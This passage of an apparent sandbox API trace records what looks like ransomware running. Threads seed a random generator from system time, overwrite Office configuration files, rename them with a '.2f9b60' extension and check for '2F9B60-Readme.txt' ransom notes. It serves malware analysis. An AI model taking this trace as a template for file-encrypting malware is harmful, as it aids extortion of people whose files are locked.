FileInformationClass=0x4) returned 0x0 [0143.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205077d0) returned 1 [0143.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0143.788] FlushFileBuffers (hFile=0x1f88) returned 1 [0143.794] CloseHandle (hObject=0x1f88) returned 1 [0143.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507870 [0143.798] wcscpy (in: _Dest=0x20507870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.798] wcscat (in: _Dest=0x20507870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 [0143.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae9b0) returned 1 Thread: id = 2199 os_tid = 0x1668 [0140.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 0x20 [0140.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG", dwFileAttributes=0x20) returned 1 [0140.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1eec [0142.401] GetFileSizeEx (in: hFile=0x1eec, lpFileSize=0x3c92f7e0 | out: lpFileSize=0x3c92f7e0*=615) returned 1 [0142.401] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.401] ReadFile (in: hFile=0x1eec, lpBuffer=0x3c92f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c92f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3c92f760*, lpNumberOfBytesRead=0x3c92f7a8*=0x4, lpOverlapped=0x0) returned 1 [0142.402] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0142.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0142.403] NtQuerySystemTime (in: CurrentTime=0x3c92f6a0 | out: CurrentTime=0x3c92f6a0*=132462177476458000) returned 0x0 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x46c3a020 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0xe7a01cf [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x5b0ddf88 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x7552465b [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x77d00f6e [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x77e22433 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x42020c9 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x19064827 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x30743ee9 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x67c3d0b2 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x573e4ef0 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x43ef7480 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x4c5b5b4e [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0xe98979a [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x40ce95a2 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x7ddc29a8 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x7d867056 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x1900bfa7 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x10fc716b [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x1dd9be47 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x79d31d0d [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0xc4bf9f7 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x3431c559 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x28245ea9 [0142.403] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x907e76e [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x19d8aa76 [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0xa65b933 [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x4bb57eb9 [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x7c211050 [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x5e3cd51e [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x56d33264 [0142.404] RtlRandomEx (in: Seed=0x3c92f690 | out: Seed=0x3c92f690) returned 0x5e263211 [0142.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1f0 [0142.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59a30 [0142.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff220 [0142.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59a30) returned 1 [0142.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0142.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0142.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59a30 [0142.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423178d0 [0142.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4231b4e0 [0142.413] ReadFile (in: hFile=0x1eec, lpBuffer=0x423178d0, nNumberOfBytesToRead=0x267, lpNumberOfBytesRead=0x3c92f690, lpOverlapped=0x0 | out: lpBuffer=0x423178d0*, lpNumberOfBytesRead=0x3c92f690*=0x267, lpOverlapped=0x0) returned 1 [0142.413] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.413] WriteFile (in: hFile=0x1eec, lpBuffer=0x4231b4e0*, nNumberOfBytesToWrite=0x267, lpNumberOfBytesWritten=0x3c92f694, lpOverlapped=0x0 | out: lpBuffer=0x4231b4e0*, lpNumberOfBytesWritten=0x3c92f694*=0x267, lpOverlapped=0x0) returned 1 [0143.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0143.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7970 [0143.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0143.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4231b4e0) returned 1 [0143.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423178d0) returned 1 [0143.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59a30) returned 1 [0143.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0143.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a7970 [0143.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0143.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59a30 [0143.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0143.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0143.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a6170 [0143.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0143.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a00 [0143.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a00) returned 1 [0143.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59a30) returned 1 [0143.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0143.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169800 [0143.393] SetFilePointerEx (in: hFile=0x1eec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.393] WriteFile (in: hFile=0x1eec, lpBuffer=0x169800*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3c92f7b0, lpOverlapped=0x0 | out: lpBuffer=0x169800*, lpNumberOfBytesWritten=0x3c92f7b0*=0x106, lpOverlapped=0x0) returned 1 [0143.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0143.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0143.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2b0 [0143.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0143.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0143.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.639] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="e9") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="62") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="2a") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="73") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="98") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="9a") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="b4") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="9d") returned 2 [0143.639] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="2a") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="1e") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="d1") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="ca") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="97") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="ac") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="e8") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="0d") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="db") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="f9") returned 2 [0143.640] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="ed") returned 2 [0143.640] RtlInitAnsiString (in: DestinationString=0x3c92f828, SourceString="e9622a73989ab49d2a1ed1ca97ace8e80ddbf9ed" | out: DestinationString="e9622a73989ab49d2a1ed1ca97ace8e80ddbf9ed") [0143.640] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c92f7f8, SourceString="e9622a73989ab49d2a1ed1ca97ace8e80ddbf9ed", AllocateDestinationString=1 | out: DestinationString="e9622a73989ab49d2a1ed1ca97ace8e80ddbf9ed") returned 0x0 [0143.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86f70 [0143.641] RtlFreeAnsiString (AnsiString="e") [0143.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2b0) returned 1 [0143.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x169800) returned 1 [0143.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6ce0) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1f0) returned 1 [0143.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff220) returned 1 [0143.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20506d10 [0143.643] wcscat (in: _Dest=0x20506d10, _Source="e9622a7398" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398" [0143.643] wcscat (in: _Dest=0x20506d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398.2f9b60" [0143.643] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398.2f9b60", NtPathName=0x3c92f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e9622a7398.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce227a0 [0143.643] NtSetInformationFile (FileHandle=0x1eec, IoStatusBlock=0x3c92f870, FileInformation=0x1ce227a0, Length=0xae, FileInformationClass=0xa) returned 0x0 [0143.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce227a0) returned 1 [0143.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ea0) returned 1 [0143.849] NtQueryInformationFile (in: FileHandle=0x1eec, IoStatusBlock=0x3c92f838, FileInformation=0x3c92f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c92f838, FileInformation=0x3c92f848) returned 0x0 [0143.849] NtSetInformationFile (FileHandle=0x1eec, IoStatusBlock=0x3c92f838, FileInformation=0x3c92f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506d10) returned 1 [0143.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f70) returned 1 [0143.854] FlushFileBuffers (hFile=0x1eec) returned 1 [0143.903] CloseHandle (hObject=0x1eec) returned 1 [0143.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205070d0 [0143.914] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.915] wcscat (in: _Dest=0x205070d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205070d0) returned 1 [0143.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4ad50) returned 1 Thread: id = 2200 os_tid = 0x166c [0140.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9dcd0 [0140.654] wcscpy (in: _Dest=0x1cd9dcd0, _Source="C:\\Users\\All Users\\Sun\\Java\\Java Update" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update" [0140.654] wcscat (in: _Dest=0x1cd9dcd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update\\") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update\\" [0140.654] wcscat (in: _Dest=0x1cd9dcd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*" [0140.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205022c0 [0140.654] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf3d4e670, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf3d4e670, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d370 [0140.654] wcscmp (_String1=".", _String2=".") returned 0 [0140.654] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf3d4e670, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf3d4e670, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.655] wcscmp (_String1="..", _String2=".") returned 1 [0140.655] wcscmp (_String1="..", _String2="..") returned 0 [0140.655] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf3d4e670, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xf3d4e670, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xf42f5ab0, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0140.655] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0140.655] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0140.655] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="5da51f59f5eb95.2f9b60", cAlternateFileName="5DA51F~1.2F9")) returned 1 [0140.655] wcscmp (_String1="5da51f59f5eb95.2f9b60", _String2=".") returned 1 [0140.655] wcscmp (_String1="5da51f59f5eb95.2f9b60", _String2="..") returned 1 [0140.655] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86a2c0 [0140.655] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Users\\All Users\\Sun\\Java\\Java Update" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update" [0140.655] wcscat (in: _Dest=0x1b86a2c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update\\") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update\\" [0140.655] wcscat (in: _Dest=0x1b86a2c0, _Source="5da51f59f5eb95.2f9b60" | out: _Dest="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60" [0151.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e30 [0151.205] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x205022c0 | out: lpFindFileData=0x205022c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="5da51f59f5eb95.2f9b60", cAlternateFileName="5DA51F~1.2F9")) returned 0 [0151.205] FindClose (in: hFindFile=0x1cd9d370 | out: hFindFile=0x1cd9d370) returned 1 [0151.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205022c0) returned 1 [0151.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dcd0) returned 1 [0151.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858e50) returned 1 Thread: id = 2201 os_tid = 0x1670 [0140.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg")) returned 0x20 [0140.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG", dwFileAttributes=0x20) returned 1 [0140.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSSMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omssms.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed4 [0142.428] GetFileSizeEx (in: hFile=0x1ed4, lpFileSize=0x3cacfd20 | out: lpFileSize=0x3cacfd20*=603) returned 1 [0142.428] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x257, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.428] ReadFile (in: hFile=0x1ed4, lpBuffer=0x3cacfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cacfce8, lpOverlapped=0x0 | out: lpBuffer=0x3cacfca0*, lpNumberOfBytesRead=0x3cacfce8*=0x4, lpOverlapped=0x0) returned 1 [0142.432] SetFilePointerEx (in: hFile=0x1ed4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0142.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0142.432] NtQuerySystemTime (in: CurrentTime=0x3cacfbe0 | out: CurrentTime=0x3cacfbe0*=132462177476770000) returned 0x0 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x3b51e66c [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x402d6f07 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x135ee9f7 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0x5dd17640 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) returned 0xf6febf4 [0142.432] RtlRandomEx (in: Seed=0x3cacfbd0 | out: Seed=0x3cacfbd0) 